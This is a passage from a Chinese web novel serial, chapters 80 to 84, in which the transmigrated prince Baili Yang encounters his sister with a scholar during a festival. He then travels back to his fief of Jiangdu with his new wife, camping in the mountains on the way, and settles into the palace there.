百里漾记起来了,此人就是那日长夏王醉酒当街纵马出来阻拦的太学生,当时街道上那么多无辜的百姓,若非是此人奋不顾身出来阻拦了长夏王,在百里漾赶到之前还不知道会有多少人会继续在长夏王的马蹄之下遭殃。 因为此事百里漾对闻夏颇有好感,长夏王被惩戒之后他还私底下派人去查了一下闻夏过往的履历。发现闻夏此人的家境一般,但天生脑瓜子聪明,十二岁凭借自己的努力考上了原籍所在的郡学不说,十六岁时因考学成绩优异而被举荐入太学,如今在太学屡次考试亦是名列前茅,太学诸博士对他赞誉颇多。 这样的人百里漾是欣赏佩服的,之前与太子说话时有向太子推荐过此人,太子也答应了会留意。这事对于百里漾来说也就暂时告一段落了,可他万万没有想到,再次见到闻夏会是在这等情形之下。 皇后一直在为百里澄的终身大事忧心,此前看好的人选也都被百里澄给否了。百里漾不知道皇后对此事是否知晓,他想以长姐的性子,这个阶段是不大可能让人知晓的。问题是长姐与闻夏是什么时候遇上的,他们是何时发展的? 百里漾满脑子的疑问,又由于太过震惊以及意想不到,他一时之间不知道如何反应了。 “良辰美景,许你与弟妹出来游玩,就不许我出来走走?”百里澄身上不复出宫时华贵繁复的衣裙,她只做了寻常富贵人家的装扮,与闻夏站在一起,俊男靓女,瞧着就十分登对。 百里漾不敢说话了。 “不是买了河灯么,快去放灯许愿吧。”百里澄瞧了一眼两人手上拿着的河灯,目光在经过百里漾手里的那盏过分圆润胖乎的莲花河灯时唇角上扬了一个不是很明显的弧度。但百里漾看到了,知道自己的审美被嫌弃了。 百里澄都下“逐令”了,显然是并不想两边相互打扰,百里漾只好带着颜漪离开去河岸放河灯。一路上百里漾的心情就不如之前的高兴了,甚至可以说是有些许的小郁闷。 “诶呀,你我的关系叫人给发现了。”看着百里漾与颜漪的身影走远,百里澄嘴角噙着笑看向闻夏,姿态却很是悠然说道。 “长公主不要胡言,在下与您并无关系。”闻夏稍显无奈说道。 哪怕并不意外被江都王认出身份,闻夏也被突然撞见他们二人的江都王夫妇吓了一跳。本以为江都王会对他与长公主一同出行之事问些什么,谁料江都王摄于长姐的威严压根不敢多问,两句话就叫长公主给打发了。当时被撞见说不紧张是假的,可转头一想他又没有做什么见不得人的事情,于是瞬间又淡定了。 “哦,我们没有关系?”百里澄对于闻夏的嘴硬也不恼,慢悠悠说道,“有没有关系你说了可不算,也要看看别人是怎么说的。” 嗯,什么意思? “哥哥,给夫人买一盏河灯吧。”阿好早已拿着好几盏河灯等在一旁,就等着他们说完话自己凑上去了。就在方才,她阿娘已与她说过了,之前的哥哥姐姐是一对夫妻,她应该称“夫人”而不是姐姐。而眼前这位长得也好好看的姐姐是前头那两位的阿姊,今晚又与旁边的这位哥哥一同出来游玩,应该也是夫妻,合该叫“夫人”才是。 闻夏听到阿好对百里澄的称呼沉默了,他刚想解释,一旁的百里澄已从善如流道:“我选好了,这个就不错。” 阿好很麻利地百里澄挑好的河灯递给她,转而将目光看向闻夏,“哥哥,十文钱哦。” 这一大一小根本不给他解释的机会啊。 无法,闻夏只好掏钱付了。 湛京背靠大河,城内有两条大河的支流穿城而过,支流再分出几条小溪出来,供给了全城的饮水不说,在今夜还成为了人们许愿的汇聚之所。街道向下修筑有去往河面的石阶,临近水面有一处较为宽阔的台子,上面有不少人在放河灯。 到了这个时辰,放河灯的人已经少了许多。百里漾拉着颜漪的手步下台阶,摸出火折子点燃了河灯里的灯芯,各自捧着河灯闭眼许愿之后,再将载着他们心愿的河灯放到水面上。 风一吹,河灯随着水流就慢悠悠地渐渐漂远了。在这个过程之中,两盏莲花河灯一直紧紧挨着,似乎相互勾连在一起,直至融入了那片光影之河中。 百里漾收回目光,扭头看见颜漪的侧脸。此时他们的面具被重新戴上,从这个角度百里漾只能看见颜漪被满河光影映照发亮的眼眸。他突然想知道她方才许了什么愿望,又不太好意思问出口,只是有些想知道她许的愿望里有没有他。 “大王还在想长公主的事情么?”颜漪察觉到他的目光,双眸对视,问道。 偷看又被捉到了,百里漾抬手想要摸摸鼻子却只摸到了脸上的面具,也没想到颜漪开口是问百里澄的事情。他沉默了一下后说道:“若是让阿娘知道了,估计会高兴吧。” 对于百里澄和闻夏的事情,百里漾最开始是惊诧,再多的也没了。他以前觉得长姐不成亲应该是没有遇到合心意的人,也不觉得精明强干的栎阳长公主会被什么心怀不轨的男人骗到,相反那些居心不良想把注意打到长姐身上的人才应该小心。 不知道为什么,百里漾回忆了一下百里澄与闻夏站在一起时的样子,心中有一种奇怪的感觉,总感觉如果真有人被欺负,那个人一定不会是长姐。或许他该为闻夏担心才是。 闻夏此人一看就是一文弱书生,站在百里澄身边也就比她高了一点点身形还是偏瘦弱的那种,放在湛京上层圈子的男性之中也属于稍矮小单薄的那一类,再加上他比一般男子过于白净清爽的脸以及并不突显的喉结,让他瞬间有了一个大胆且荒诞的想法。 得益于前世看过的各种千奇百怪、脑洞频出的和影视剧以及自己穿越的奇特经历,百里漾脑海中直接蹦出了“女扮男装”这四个字,下一瞬被自己的这个想法给吓了一跳。 “大王?”颜漪见百里漾不说话陷入了沉思之中,随后就看到他的瞳孔很明显的震动了一下,满眼的不可思议,不由得好奇他到底想到了什么。 “我没事。”百里漾看见了颜漪眼眸里的担忧与不解,他握了握手里的柔荑,稍微解释了一下,“只是想到了一些事情,不要紧的。” 80-90 第81章 离开 颜漪见他不愿意说也没有追着问, 由着百里漾拉着自己在街道上漫步。时辰也晚了,他们该回去了。 百里漾定了定神,将自己刚才那个过于大胆且没有什么实据佐证的猜测抛过一边, 却又忍不住顺着这个思路思考这件事情的可能性。以前看有类似情节的影视剧的时候,他并不能知晓其中的艰难,现在重开人生之后,换了一个男人的壳子,交际圈也完全不同了, 周围往来的大多是男子, 很清楚一名女子要扮成男子混迹在以男子为主的圈子里有多难。 男女的躯体先天就存在差异, 或许这可以通过一些手段将这份差异消去,但百里漾记得无论是郡学还是太学, 入学之前除了查验户籍来历,还有一项便是要验明正身, 光是这一项就不可能过得去。 思来想去,百里漾还是觉得自己想的太多了。 不过, 若是真有这样一名女子能够做到这份上, 也着实令人敬佩。 两人又携手去看过灯会便回江都王宅了。今日两人都挺累的, 回到宅邸之后简单洗浴了一下,头挨到枕头后不久便睡着了。 八月十五过后,时间的流速仿若加快似的,一眨眼便到了百里漾返回江都启程的日子。回程的队伍比来时的还要浩荡,驮运物件的马车都比此前多了三四十辆,其中大多数是颜漪的嫁妆以及这些日子帝后的赏赐,光是整理行囊前前后后都花费了小半个月的时间。 诸侯王返回封地事宜,一应也由鸿胪寺负责。当初来京时郊迎的是大鸿胪,这次代表朝廷送别的依旧是他。客套的场面话说完, 大鸿胪奉上酒,敬百里漾说道:“薄酒一杯,愿大王此行一路顺遂、风雨不扰。” “承大鸿胪吉言。”百里漾举杯,饮下了这杯践行酒,“时辰不早了,本王该启程了,有劳大鸿胪辛苦跑这一趟。” 翻身上马之后,百里漾深吸一口气,回身朝身后的城门楼看去,伸手用力挥了挥,在看到城门楼上的人同样朝他挥手之后,将深吸的那口气吐了出来,一夹马腹抽了一鞭子,驾着马哒哒向队伍前端奔驰而去。 命令前行的号角声响起,传到了城门楼这边。百里澄扶着皇后,看着那支如同长龙的队伍开始向远处移动,又看着百里漾的身影逐渐跑到了看不清楚的队伍前端,她面色很平静,“阿娘,五郎启程了。” 皇后目光也追寻着幼子的身影而去,“是啊,他再一次去江都了。”就如同五年前她看着幼子远去江都就封一样,她不舍却又不能不放手。身为一个母亲,她当然希望自己的孩子能够留在自己身边,但她知道她不能,万事总是不能尽如人意的,身在天家更是如此。 “这次您也不必太为他担心了,他都是成亲的人了,会照顾好自己的。”百里澄语气轻松些,“说不得下次回来时,您就能抱上心心念念的孙儿了。”她作为长姐并没有那么多的离愁别绪,但也能明白对于一个母亲来说孩子永远是她的软肋,哪怕这个母亲是母仪天下的皇后。 皇后却道:“我是盼着五郎回来,却又不盼着他回来。” 闻言百里澄沉默了。这一句话实在矛盾,她知道缘由,但没有就此说什么,而是说道:“阿娘,我们该回宫了。” 城门楼处在高处,风大,又是四面来风,八月十五过后天气开始转凉,而且凉意很快就会转成冷意。皇后因要送别幼子来到此处,身上只披了一件稍厚些的白狐裘,虽说御寒效果极好,可对于皇后的身体来说依旧是不够的。 “我们回吧。”皇后也不坚持,在百里澄的搀扶下离开城门楼,回皇宫去了。 回程的路途不算遥远,只不过队伍比来时要壮大许多。回了一趟湛京,百里漾和崔栋都将自己的终身大事解决了。夫妻新婚燕尔,无论是身为江都王妃的颜漪还是卢氏都要随着一道前往江都。她们都不是一般的勋贵之女,又皆是自小受到家中宠爱重视的,嫁妆俱是自小便开始攒着的,而这些都是要在出嫁之后全部拉去夫家的。 本来诸侯王入京岁贡的队伍就足够庞大,如今再加上王妃的嫁妆、随行护卫的人以及仪仗,人数已经超过了两千人。这样一支宛若长龙又有精良兵将护送的队伍,远见旗帜招展,行进浩荡,贼人见了只怕连胆都吓破了,半点靠近都不敢,哪怕知道队伍里有他们一辈子也花不完的金银财宝。 出了湛京之后,愈走愈远,过了几座山之后就再也看不见湛京城的影子。马车内,卢氏恋恋不舍地收回目光,掀起的车帘子也放下,回头见颜漪正在看着她,颇有些不好意思道:“头一回出远门,让你见笑了。” 她眼角还有一抹红,想来是与父母兄弟告别时留下的。 “离家不舍,人之常情。我又何尝不是。”颜漪很能理解这种心情买,因为此刻的她亦是如此。虽说此行不至于离家万里之遥,可到底是第一次离开自小生长的土地,哪怕早有准备,真到了离别时依旧还是犹有不舍、情难自已。 此去江都路远,队伍增扩了之后,为了稳妥以及照顾颜漪与卢氏两个从未出过如此远门的人,百里漾特意下令让队伍走得慢些,让她们适应避免不适。这年头的交通条件可不比百里漾的前世,出远门走远路对于绝大部分人来说都是一项艰巨的挑战。 当初百里漾就封之时,他从未觉得路有如此的难走,尽管一路上走的都是官道,可官道与官道之间是有区别的,并不是每一段路都好走,郡与郡之间是有差别的,而到了郡与县之间的差别则更大了。有时候碰上下雨,道路两旁山体上的泥土被大雨冲刷到了道路上,两边都被堵住了,那时他们只能绕路而行。 这些都算是可以克服的事情,没有危及到生命就还不算什么。行路之人其实最害怕遇到的是山匪强盗之流,在这种时代这类人并没有完全销声匿迹,时不时冒出来劫杀过往的商旅。地方官府追剿也很难彻底消灭,这些人在大山里落草,官兵一来往山里一钻,草木葱郁,那是啥也看不见,稍有不慎还有可能落入他们提前布置好的陷阱里。哪怕官府一时将他们打压下去了,但风头一过或者因着什么事他们就又会死灰复燃。 行路的商旅最害怕碰见的就是盗匪,损失钱财还是小事,最怕的是遇上凶残蛮横不讲理的,连小命都要搭上。故而很多时候大家都是结伴出行,人多了真遇上也能有个照应。不过百里漾他们就不可能会遇到盗匪,除非那些人是不想活了,那些人只怕是远远地看见王旗就要望风而逃了。 伤感只是一时的,颜漪与卢氏对于今日早有准备,又见群山茫茫,郁郁葱葱;天地高阔,飞鹰盘旋。这些都是在繁华的湛京城难得一见的风景,心态调节好了之后,两人欣赏起了沿路的风景。她们在湛京时本就相交不错,说得上来话,如今更是成了表妯娌,还一道随着夫君前往江都,可说的话就更多了。 百里漾就是考虑到这一点才让两人同乘的,有人陪伴,那些离情别绪会缓解很多。他与崔栋则是在外骑马,观察指挥行路的情况与进度。他们距离女眷所在的马车不远,听着偶尔传来的曼音笑语,之前自己安慰不好,现下心里也能轻松了一些。 百里漾不由感慨说道:“五年前我们离开湛京时也是如此,想想那场景还犹在眼前,却不想一转眼五年都过去了。” 这条就封的路他也走了五年有余了。 “我们终归还会回去的。”崔栋说道。 在这一点上他比百里漾幸运,不似百里漾受到诸侯王身份的束缚无诏不得回京,而百里漾也体恤他,基本上每年都借着公务的名义让他回一两趟湛京,他至今还记得百里漾第一次让他会湛京时说的话,“不能回家看望的人有我一人便足够了,总要有人回家报平安的。” “是,我们终归还会再回来的。”百里漾回首望了一眼湛京的方向,山峦起伏,野迹茫茫,早已为之所阻,哪里还见得到那座恢宏壮阔城池的半点影子。不知为何,他说这话的时候,心情与语气都有些沉重。 崔栋没有接话,因为他们都知道,等下次再回来,也不知道会是何种情形。他们希望是他们所盼望的那一种,但世事无常,有时候能尽人意,却往往更多的是不尽如人意。未来的事情谁又能完全说得准呢? 虽说回程的速度比来时减缓了许多,但到底是赶路,一路上要穿越好些郡县。他们这一队人马辎重甚多,若是穿城而过必然会惊扰地方官民,到时地方官员拜见清道亦是麻烦。百里漾不喜如此,条件允许的话他都是让队伍避开城镇而行。 可这一路耗费的时间并不短,终有入夜的时候。一行人行至一处山林之中,天色已晚,连夜赶路并不妥当,况且队伍之中还有不少女眷,于是百里漾下令安营,在此度过一夜。 令下,这支将近两千人的队伍便开始有条不紊地就地安扎帐篷,垒灶生火。队伍之中大多都是出身行伍被挑选来给百里漾做护卫之师的精兵良将,做起这些亦是熟门熟路,更有一队兵将带齐兵甲往周边巡视,排除危险,避免藏有大型野兽,埋伏队伍届时损伤人命- 作者有话说:昨天坐车回来太累,没有更,抱歉。 第82章 夜宿山林 “累了吧?今夜我们要在山中过一夜了。”百里漾下马之后到王驾边将颜漪从上面扶了下来, 语带谦意说道。 今日走的这一段路大多是不好走的山路,崎岖蜿蜒,哪怕王驾上已经提前铺上了不少柔软减震的垫子, 可马车本身的避震效果并不好,颜漪即便是待在马车上也不可避免地受到颠簸,厉害点的骨头都能摇散架了,若是晕车那就更难受了。 百里漾仔细观察了一下颜漪的面色,发现她面上有明显的倦色, 可见这几日的行路很是令她不好受。 颜漪看到了百里漾眼中的担忧与歉意, 心中淌过一股暖流, 搭着百里漾的手轻轻握住了他的手掌,微微摇头, 又伸手取走了他肩头上穿林落下的一片叶子,“我不是很累, 倒是大王一直在外才是辛苦。” 百里漾担心颜漪不能适应赴远路的辛苦,又骤然离家心中苦郁的心情无从排解, 这几日都是拜托卢氏到王驾上去陪伴她的, 有人陪着说说话, 转移一下注意力,心情会好很多。也是因为卢氏在,百里漾为了避嫌就不能经常待在王驾里了,白日里更多的时候是同崔栋一道在外面骑马的。这会儿白日里日头还是挺晒的,又是长时间的骑马行路,自然不会比待在马车里舒服。 颜漪能够感受到百里漾的贴心,他是真的很会为她着想,甚至还会觉得夜宿山林是委屈了她,却忘记了真论起身份来这里所有的人之中最尊贵的人是他, 最受委屈的也是他。 “大王在哪里,我就在哪里。”颜漪看着百里漾轻声说道。 这时候夕阳已经落山了,入夜之前的最后一点余晖倾洒在两人的身上,彼此之间可以清楚地看到对方眼眸之中倒映出的自己。百里漾心里说不上来什么感觉,但却在这一瞬间忘记或者说忽略了身体的疲乏,浑身突然间涌入一股暖洋洋的暖流,感觉全身充满了力量。 百里漾知道颜漪想表达的是他们是夫妻一体,自该相伴相随,并没有更多的其他的意思。他能确定自己是喜欢颜漪的,却不知道颜漪对自己有几分好感。毕竟他们这桩婚事是政治联姻,个人的喜欢与否并不是促成这桩婚事的因素之一。他不想两人只做这个时代相敬如宾的标准夫妻,如果可以,他希望他们之间是有爱的。 现在,他是不是可以这么想,颜漪对他是有那么几分好感的? 山林旷野,篝火点燃了一处又一处,帐篷支起了一顶又一顶。一部分将士负责赶在天黑之前将枯枝捡够燃烧过夜的量,一部分人负责生火取水做饭。他们这一行往江都去的人马众多,往往是带足了一段时间的干粮,即时如今日一般赶不到官府所设用以补给的驿站夜宿山林,也能够应付短时间内所有人马的吃喝嚼用。这样的吃食当然算不上多好,更多的只是硬邦邦的干粮,仅是为了保证裹腹罢了。 卢氏头一回出远门,车马颠簸引起的不适反应颇是严重,马车一停便迫不及待让崔栋扶着她下车走走舒缓了。好在随行的大夫有备有治疗这方面的药物,卢氏服用之后已经好很多了。 侍从烤了肉,撒上香料,没多久香味就飘出来了。 百里漾拿了一些给颜漪,还贴心地用匕首切成了薄厚适宜的块状,“味道还是不错的,你尝尝看。” 颜漪接过来吃了一口,细细咀嚼吞咽后,看向等待她反馈的百里漾说道:“的确很好吃,大王也尝尝。” 百里漾这时肚子很诚实地响了一声,眨了眨眼睛,也不客气接过一盘烤肉埋头大快朵颐起来。他和崔栋的饭量大,烤肉大部分是被他们消灭的。 饭后崔栋还去山林里摘了一些可食用的果子回来,只不过味道又酸又涩,一口咬下去那味道真是绝了。 卢氏咬了一口,酸得脸都变形了,偏偏崔栋在一旁看热闹不嫌事大哈哈大笑,气得卢氏跳起来追着他打。崔栋看着壮身形也灵活,逗着妻子在附近蹿来蹿去,每每卢氏要打到他了,他都格外灵活地往旁边一躲,让卢氏的攻击落空。 “你,你给我,等,等着。”卢氏追了一阵累得气喘吁吁,哪还能不知道崔栋在逗她,感觉牙齿磨得有点痒痒的。她走回来,看见百里漾和颜漪面上都带着笑,颇有些不好意思,“让大王、王妃见笑了。” 两人当然不会取笑她了,至少看得出来崔栋夫妻俩成婚之后相处得很是自然融洽。这桩婚事最终朝着大家都满意的方向发展了。 百里漾笑笑过后,目光移到了旁边的颜漪身上,看着她被篝火的光照亮的侧颜,有些许的失神。他们虽然已经是足够亲密的夫妻了,但与崔栋和卢氏相比,还是差了些的。他知道这是正常的,他和颜漪与崔栋和卢氏是不一样的,他们的情况要更复杂些。 “大王?”百里漾的失神很轻易就被颜漪发觉了,她不知道百里漾在想什么,只觉得他忽然的沉寂令人微微有些不安。 “今夜星光璀璨,虽夜宿山林,也别有一番趣味。”百里漾指了指天上,笑道,“这样的景色在湛京可不多见。” 同样的夜空在湛京之中看与在山林旷野之中看,观感是大不一样的。在这里,人仰视天空能够获得更广阔的视野,望见更深邃明亮的星空。即便是透过树林之间的缝隙去看,窥见的那一隅星空的一角感觉也是很不同的。 颜漪闻言抬首,顿时满天星光便落入了她的眼眸中,“真的很美,很漂亮的星空。” “要去附近走走么?”百里漾发出邀请。白日过来时路过了一条小溪,水质很干净,偶然瞥过一眼还看见好几尾小拇指大小的鱼儿欢畅怡然地游动。这时候过去看,听着溪水潺潺,看波光粼粼踊跃,想来会是一件很惬意的事情。 “好啊。”夜里的风吹得人格外舒服,颜漪欣然应邀,将手搭在百里漾伸出的手掌里顺着力道站起身。 等崔栋回来就只看见了卢氏一个人在,不知道为什么神情有点落寞(?),往周围看了一圈没有看见人,纳闷问妻子道:“怎么就剩你了,五郎与王妃跑去了何处?” 卢氏看他的眼神变得幽怨,看得崔栋莫名所以。卢氏说道:“大王邀王妃去赏景去了。” “赏景?”崔栋脑袋往左右转了一圈,嘀咕道,“到处黑漆漆的有什么好看的。”然后收获了卢氏一枚大白眼。 这些日子往赴江都,离得近了,卢氏见了许多江都王与颜漪相处的画面。不得不说,她看了都心生羡慕。 江都王待王妃处处体贴细心,这样的细致入微在男子身上极其稀有的,更别说江都王还是那样尊荣的身份。也不是说崔栋不好,只是崔栋这般粗犷不解风情的性子有时候还是挺令人郁闷无语的。 “诶,你哪去啊?”眼见着卢氏起身离开,崔栋对着她的身影喊道。 卢氏头也不回,“没人带我去赏景,自然是要去歇息了。” 崔栋听懂了她的言外之意,“……” 用过晚饭之后,再吩咐一些值夜的事项,检视了一圈发现并无异常之后,众人便要进入帐篷休息了。因是夜宿山林,居住条件自然比不得可以遮风挡雨的屋室之内。帐篷算不上宽大,百里漾和颜漪躺进去之后也就多出了半个人的位置出来,转身都有些拘束。这也导致了他们是头一回躺下之后就靠得如此之近。 他们躺下的地面并不平整,哪怕清理过后也依然会残留有植系的凸起以及细碎的泥块石子,又在上面铺了厚厚的垫子才不会被很明显地硌到。帐篷里还有放置有香囊,独特的药香味散发出来使山林间的飞蚁爬虫不敢靠近。 两人紧紧挨着,近到呼吸可闻,近到百里漾感觉自己整个人都被颜漪身上散发出来的香气包围,令人怡神,连那股味道独特的药香都被他忽略了。 帐篷里很是安静,耳边听到的是颜漪清浅的呼吸声,更远的则是外面的风吹枝叶晃动的声音,更有来自山林深处不知名鸟兽的叫声。百里漾扭头看向身边的人,见她已经合眸,呼吸已变得规律,便知她是进入了梦乡。 百里漾这样静静看着,不知何时自己也睡着了,再睁眼时已是天明。 接下来的几日依旧是行路,后面就没有什么夜宿山林野外的事情了,基本上是能够在天黑之前赶到驿站,在驿站进行休息补给。 在进入江都的地界之后,颜漪便不想待在王驾之内了,提出要骑马,一路看看江都的风光。卢氏亦是如此。百里漾与崔栋当然不会拒绝妻子的这个要求,吩咐侍从牵马过来给二人骑行。 颜漪与卢氏是将门之后,自然不必为她们担忧骑术的问题。卢氏一翻身上马之后就踩着马镫夹紧马腹驱着马儿跑了几圈,感受着疾行带来的快意潇洒,整个身子都活泛舒展开了。 颜漪也骑上马绕着他们这只队伍跑了一圈,回到了百里漾身边。而百里漾看着她纵马驰骋的英姿飒爽,眼睛里的光比平时要亮许多,又看着她因为跑马而显出红晕的白嫩脸蛋,伸手将一顶白色的幕篱递过去,“路上日晒且风沙大,用这个会好些。” 见颜漪没有意见,百里漾凑过去替她戴上了。 第83章 抵达 身后不远处拿着幕篱要给主子戴上的初禾见到如此恩爱亲密的一幕, 知趣地默默退下不打扰两人了。 正巧这一幕也被跑马回来的卢氏看到了,想到现在的自己必定是满头大汗、灰尘满面,她抬手往自己头顶上做了一个类似摸索的动作。崔栋打马过来, 看着她做了这么一个莫名其妙的动作,也伸手过去她的头顶探了探,什么也没有,只觉得摸不着头脑,“你摸什么呢, 头上有什么东西么?” 卢氏看着木头似的崔栋不说话, 转头看一眼百里漾和颜漪那边, 再看崔栋,更加沉默了。果然, 货比货得扔,人比人要气死人。 “你怎么不说话啊, 头上难不成真有什么?”崔栋见她迟迟不说话,又往她头顶看去, 还是什么都没有发现啊。所以, 她到底是怎么了? “有东西, 只是你看不到而已。”卢氏文雅地翻了一个白眼,指望崔栋是指望不上了,她驱着马到自己的马车那边,接过婢女备下的幕篱自己给自己戴上了。 回程的这段路上并没有发生什么令人不愉快的波折,百里漾一行人顺利抵达了江都郡城。城外已有范国相率领江都的一众官员迎接王驾。远远的望见招展的王旗,范国相等人忙整理衣冠、整肃仪容,在王驾到近前时快步迎上去,齐齐拜倒,“臣等恭迎大王、王妃归国。” 百里漾从王驾上落地, 转身伸手去扶颜漪下来。两人携手,接受这些臣下的跪迎。百里漾转眸看了一眼颜漪,发现她没有什么不适后才让这群人起身。 一群人起身之后,范国相走到近前,向颜漪拱手做礼,报上官职姓名,让新王妃知晓自己是谁,又问道:“大王与王妃一路可顺利?” 颜漪抬手让范国相免礼。她嫁给百里漾,事先对江都的情况有过了解。凭借出色的记忆力,她很快将范国相与事先了解的资料对上了号。范国相是东宫属官出身,更是椒房与东宫特意挑选出来随百里漾就封江都的元老,这些年也一直兢兢业业地辅助百里漾治理江都,功勋卓著,也是百里漾最信赖倚重的那批人之一。 对待这样的人,自是要以礼相待。且对于范国相这些元老来说,颜漪毕竟是新人,初来乍到以亲和仁善的姿态示人是最不容易出错的。 今日虽说是迎接王驾,可也是颜漪这个新王妃第一次在这些王臣面前露面。这些臣子们远在江都但对于他们的大王在湛京迎娶了王妃之事也知之甚详。这位王妃出自定国公府,出身高贵,其父深受皇帝倚重信赖,如今嫁与江都王,他们这些没见过真人的自然好奇。眼下见到了,第一眼的确很符合他们对公府贵女、将门之后的印象。至于性情手腕如何,还得日后才能知晓。 江都王有了王妃,江都有了女主人,许多事情可能都要变一变了。 与某些人的心思浮动不同,范国相是真的欣慰欢喜于百里漾岁贡上京一趟娶了王妃回来。从某种意义上来说,抛开君臣关系,百里漾也算是他看着成长的,他自是盼着百里漾成家的。王妃的人选是皇后殿下选定的,自然是不会错的,如今就盼着小主子降生了。 王驾只停留了一段时间便朝着郡城之内的王宫行进。范国相等人送王驾入王宫之后便散开了。如今百里漾才刚刚回来,一路舟车劳顿,这时候即便是真的有事情也不会在这个时候要求见驾。之后崔栋与卢氏夫妻俩也告辞离开,卢氏初来乍到,崔栋要带着媳妇去他在江都的府邸,宣示一下女主人的到来。 百里漾这边也是如此。颜漪第一次来到江都,也是第一次来到王宫,处处于她而言都是陌生的,适应需要一个过程,何况今日还是她来到这里的第一日。 王驾直入王宫来到了长乐殿外停靠,依旧是百里漾先下马车,扶着颜漪下来,“这是长乐殿,我在江都的日常起居都在这里。” 长乐殿是寝殿,属于前朝后宫里后宫的范畴。在长乐殿周围还有分布有一些宫殿,作用是用来安置百里漾的妻妾子嗣。不过因为百里漾之前并没有往王宫里进人,子嗣更是没有,所有绝大部分的宫殿都是闲置状态。如今他娶了王妃,事先已经令人将一座规格仅次于长乐殿的宫殿打扫布置出来,供颜漪日常起居。 “你居住的宫殿柳姑姑已经令人重新打扫布置出来了,稍后你去瞧瞧,若有什么需要改动的地方或是要添置什么,尽管告诉她。”百里漾说道。 他看着颜漪四下打量的目光,以为她是想看看自己居住的长乐殿,于是便亲自带着她在长乐殿里转了一圈,顺道也让他殿中伺候的宫人认认王妃的脸。 正转着的时候,柳姑姑来了。她来到百里漾与颜漪面前,行礼拜见过二人,问二人一路回来可好,又说宫殿已经收拾出来,若大王王妃有暇可移步去视看。她看百里漾与颜漪的目光之中亦如范国相般带着欣慰欢喜,只不过更为细腻慈和些。 百里漾也向颜漪介绍道:“这是柳姑姑,从小便照顾我长大。” 颜漪知道柳姑姑这个人,她与椒房殿的那位陶掌宫一样皆是皇后身边多年伺候的老人,当年随着百里漾就封时一道来了江都,如今王宫的诸事务都是她在管着的。颜漪待柳姑姑很客气,道谢道:“有劳姑姑了。” 百里漾则是说道:“我不在江都的这些日子,宫中一切皆仰赖姑姑操持了。”他离开江都之前,外朝的事务托付给了范国相,王宫内廷的事务则是托付给了柳姑姑。此二人皆是可信可靠之人,若非有他们二人在江都镇着,一些心怀不轨之人还不知道趁机闹出什么乱子来。 “大王折煞我了,这皆是我分内之事。”柳姑姑口中忙自谦说道。她来这一趟本就是为了拜见二人而来,百里漾娶了王妃回来,她本就该第一时间来拜见。如今见着人了,又看百里漾与颜漪两人站在一起端是郎才女貌,更是欢喜。 柳姑姑向来相信自己主子皇后选人的目光,如今真为百里漾选了一位哪哪都好的王妃回来,欢喜之余她也在注意观察两人之间的相处,身为过来人的她自然发现了百里漾处处对颜漪的体贴照顾。见这对新婚夫妻相处融洽,且百里漾明显是对王妃上了心,她心中更是欣慰。 两人刚回来,一路行路辛苦,总归是累的。柳姑姑不在此过多打扰,先行告退了。 “这一路回来也累了。宫殿那边收拾怕是还要些时候,不若先在此处休憩,晚些时候再过去。”百里漾提议道。 这些时日虽然没有特意去赶路,但也一直在路上奔波,很是辛苦累人。如今好不容易到地方了,最好是好好睡一觉将精气神养回来,才好去处理后续的事情。 颜漪说好,两个人就在长乐殿的床榻上躺下来了。 时隔几月,再次回到了这个自己更为熟悉的地方,百里漾生出了一股安心放松的感觉。这里的一切还是他离开之前的样子,甚至连笔杆摆放的朝向都是他上一次搁笔后放下的方位。 一切都没有什么大的变化。 不,还是有的。身边的人就是这几个月来最大的变化。 他娶妻了。 百里漾如今想起来还有一种不真实的感觉,就像是他来到这个世界上一样,有时候还有一种恍惚做梦的感觉一般,一觉醒来还是会回到之前的世界之中。这种类似的感觉这些年已经很少会出现了,但最近有时候醒来时看到睡在身侧的颜漪——他的妻子,这种感觉久违地就又重新浮起。 大概是这些时日一直奔波在路上,颜漪躺在床榻上沾到枕头没多久就睡着了。百里漾是看着她的呼吸逐渐变得平缓的。之前没有觉得有什么,但是身体一沾到床榻上,连日以来积攒的疲惫如同潮水般涌上来,思维也慢慢开始变得沉重迟缓,闭眼之前他盯着妻子的睡颜看了好一会儿,随后不知不觉也睡着了。 等百里漾再醒来的时候,天色已经变得昏黄。殿外的落日余晖透过门窗的缝隙斜射入殿内,在地面上照出了一片又一片间隔有致的金色光影,像是拉起了一张歪歪扭扭的渔网。 百里漾从床榻上起身,随后发现了一件事情,他的目光在四下搜寻,并没有找到那道熟悉的身影,问身边伺候的侍人,“王妃何处去了?” 原来颜漪不知何时醒了,他竟睡得如此沉么?一点动静都没有发觉。 侍人回话:“王妃两刻钟前起身往永延殿去了。” 永延殿便是颜漪作为江都王妃在王宫居住的寝殿,之前因为百里漾尚未娶妻故而一直是闲置的状态。颜漪醒来之后去永延殿想来是为了去看看自己日后居住的地方是何模样,也要指挥着人将她从湛京带来的东西安置进去。柳姑姑虽然此前已经令人重新打扫布置了,但究竟要弄成什么样还是需要她亲自去看看的。 在长乐殿里饮过一盏茶,百里漾想了想还是打算去永延殿那边看看,如果是有什么需要他的地方呢。 说去就去,百里漾换过一身衣服后就往永延殿过去。他至时,永延殿可是热闹,一群侍人进进出出,每个人都有自己的活计要干,他还瞧见一行人抬着好几口大箱子进去。 第84章 江都 殿外由初禾负责指挥。当她看见百里漾的身影出现, 一边使人去告知殿内的颜漪,一边快步朝百里漾走来,至近前行礼问安, “大王安好,王妃正在殿中。” 百里漾抬手让她免礼,一面以目光寻找颜漪的身影,亦快步朝永延殿内走去。正当他跨入门槛时,颜漪的身影也随之出现在他的视野之中。他顿时眼前一亮, 更是大步迎上去。 “醒来时不见你, 他们说你到这来了。”百里漾解释了一番怎么自己找来的, 又看着殿内已经布置齐当的各处,“可还有什么缺的?有需要添置的就叫人开了府库去取, 若府库中没有,再叫人去采办。” 百里漾很大方, 府库等于他在江都的小金库,属于他的私人库房, 里面收着他这些年攒下许多好东西, 有很大一部分是逢年过节来自湛京的赏赐。之前就封的那五年他不能回湛京, 椒房与东宫担心他在江都过得不好,三不五时地就有赏赐送来。宣室殿那边也是如此。百里漾向来不是喜欢铺张浪费的,绝大部分都攒下来了,这是一笔十分可观的财富。 “大王的意思是,府库里的东西任我取用么?”颜漪问道。 “自是如此。”百里漾自然而然地说道。他此时很有上交小金库的自觉。之前在湛京的时候没有这么做是因为江都王宅他也是新住不久,里面也算不上有什么东西值得交付的。如今回到江都就不一样了,这里可以说是他的“大本营”也不为过。 “大王如此大方,就不怕我取用无度,胡乱挥霍么?”颜漪自然欢喜于百里漾对她不设防的举动, 至少证明了他是信她的。从进入江都开始,他就一直在众人面前显示他对自己这个王妃的看重,让人不敢慢待小视于她。 